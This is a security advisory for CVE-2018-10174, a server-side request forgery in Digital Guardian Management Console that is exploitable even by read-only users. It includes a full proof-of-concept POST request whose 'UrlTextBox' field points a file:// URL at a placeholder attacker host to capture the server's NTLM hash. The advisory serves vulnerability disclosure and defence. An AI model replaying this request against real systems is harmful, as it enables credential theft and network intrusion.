Title: Digital Guardian Managment Console - Server Side Request Forgery Vulnerability
Author: Pawel Gocyla
Date: 18 April 2018
CVE: CVE-2018-10174


Affected software:
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Digital Guardian Managment Console Version 7.1.2.0015 

Description:
============
Digital Guardian is an American data loss prevention software company which provides software both at the end-user level and in corporate networks, servers, databases, and the cloud. Digital Guardian is designed to see and stop malicious actions by users and malware on endpoints. It puts data events into context and applies a granular set of rules to protect it against threats.

The company holds 20 patents for its technology.Its customers include about 300 Global 2000 companies, as well as seven of the 10 largest brands in the world. It is considered to be a leader in the global data loss prevention market. 

Vulnerability:
**************
By providing URLs to unexpected hosts or ports, attackers can make it appears that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://). 

In this case pentester was able to capture NTLM hash of system user. 
It must be noted, that this vulnerability occurs even if logged user has read-only role.


Server Side Request Forgery:
============================
Vulnerable parameter: "UrlTextBox"


Request: 
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POST /DigitalGuardian/Policies/FeedList.aspx?config=3&listId=fc8e48c0-4ff7-4878-88b6-b4863f68f08e&typeUrl HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[host]/DigitalGuardian/Policies/FeedList.aspx?config=3&listId=fc8e48c0-4ff7-4878-88b6-b4863f68f08e&typeUrl
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: [host]
Content-Length: 13935
Pragma: no-cache
Cookie: MRUDomain=00000000-0000-0000-0000-000000000002; ASP.NET_SessionId=bydj2xwynaphlo0dzhm3sard; DGAuthToken=fc471add-2f92-4ed2-9091-20666e1829d2; .DGMCASPXAUTH=4661D6A6E48BAB81334FA1ED73B0E4E18EB87927985439E456F6A0A2E4B0B31A83A0968AC1612E516494080AB1B70C9008EAD36EF4176825FA79E3EF47025CEED0CBDDCD5C02BE7DC2E15B2EF4952372892C889F0B18699D37C84F4EEB151859FEA6006EF0F719B97B2D494AF99CEC89465A3ECBD4406F9B79153B8D82C67814C054F0B87AA6CC06075C77F0F88F90FD55C92630357CFBE381A2937ADFB8ABB5232C561859BEFF4E6CDAF981544AAF24145830D4CFD739BC89B3BE55E32AB981081F57B8DBE8A9B7E9BEE83DF2A1C39A9F894BA7F636935C6CD107BBE724371A7E28F8964202EC050FFEB9847C05B9AC2EB932C81B75B31866CBED69F669BBC3814E0662FD148DF727E841A7CEEA0A7CC250D50F3142D9C7278B2AB42CC0CF84608EF750A2BFC905AE36E2569AC8BB5CA3E0FEF9FFF80A665E23102EB0F8CC1F45F83AC2074FA82A6E4197E714B03034ED1078973B9A8A00CC51FF144450069736798B6BA806681CDF4D8B7E899F180AF2BE724D3E3122C9C6F676E18338B98A422C047555A1BA2AFA06EF208B16A2F9AF9A9E778001960B50DB0DD04FC96D824986B4BD80CAEBB496770B1D39559A421483CB4D2A15954D97E3C7ADE68363811DFF2BB7B22F2F849EBA1AD45AFBE661F509824E9A79982F63791EB6FEB2B2014ED7B372119D8E0B2BD10D0B734410527372D927E6AF762B6F336CA61A8265F8
Connection: close

__EVENTTARGET=TestButton1&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=[valid viewstate&__VIEWSTATEGENERATOR=5C3F6F0E&__SAVESCROLL=0&ContentTypeHidden=0&ContentTypeValueHidden=0&NameTextbox=atp-net-dnsbh-malwaredomainblocklist.DNSnames&StatusList=1&UrlTextBox=file%3a%2f%2f%2f%2f[Attacker_IP:port/asd/asd]&ddlFormatDropDownList=0&MaxSizeNumericSpinner%3ASpinTextBox=1000&TimeoutNumericSpinner%3ASpinTextBox=15&PolicyContainerList=00000000-0000-0000-0000-000000000001&DescriptionTextbox=ATP+Threat+feed+from+generated+from+http%3A%2F%2Fwww.malwaredomainlist.com%2Fhostslist%2Fhosts.txt&ddlFeedCategory=1&Schedule%3ATypeList=3&Schedule%3ATimeTextbox%3ATIME_TEXT_BOX=00%3A00&CheckBoxDelimiter=on&DelimiterTextBox=space
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Contact:
========
pawellgocyla[at]gmail[dot]com